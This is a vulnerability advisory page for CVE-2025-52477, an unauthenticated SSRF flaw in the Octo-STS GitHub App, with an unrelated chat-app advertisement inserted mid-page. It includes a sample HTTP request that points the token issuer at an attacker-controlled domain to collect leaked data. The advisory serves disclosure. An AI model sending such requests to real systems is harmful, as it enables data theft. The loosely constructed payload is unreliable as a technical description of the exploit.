Overview
CVE-2025-52477 is a critical vulnerability found in the Octo-STS GitHub App. This vulnerability allows for unauthenticated Server Side Request Forgery (SSRF), posing a significant threat to the integrity and confidentiality of data. It affects all Octo-STS versions before v0.5.3, making it a pressing concern for a wide array of users.
This vulnerability matters because it can lead to potential system compromise or data leakage. Malicious actors can misuse OpenID Connect tokens to trigger internal network requests that reflect sensitive information. Thus, it is crucial for users and system administrators to understand the ramifications and steps to mitigate this vulnerability.
Vulnerability Summary
CVE ID: CVE-2025-52477
Severity: High (CVSS: 8.6)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Octo-STS GitHub App | All versions before v0.5.3
How the Exploit Works
The vulnerability exploits a flaw in the Octo-STS GitHub app, where unauthenticated SSRF can be triggered by abusing fields in OpenID Connect tokens. An attacker can craft a malicious token to initiate internal network requests. These requests can then reflect error logs containing sensitive information, leading to potential system compromise or data leakage.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited. This pseudocode represents a malicious payload that an attacker could use to trigger the vulnerability.
POST /sts/token HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"openid": {
"nonce": "malicious_network_request",
"audience": "internal_service",
"issuer": "attacker_controlled_domain"
}
}
In this example, the attacker manipulates the nonce and audience fields to trigger an internal network request to the “internal_service”. The “issuer” is set to an attacker-controlled domain, allowing the attacker to receive and exploit the reflected sensitive information.
It is important to note that this is a simplified representation of the exploit, and actual exploits may involve additional steps and complexities.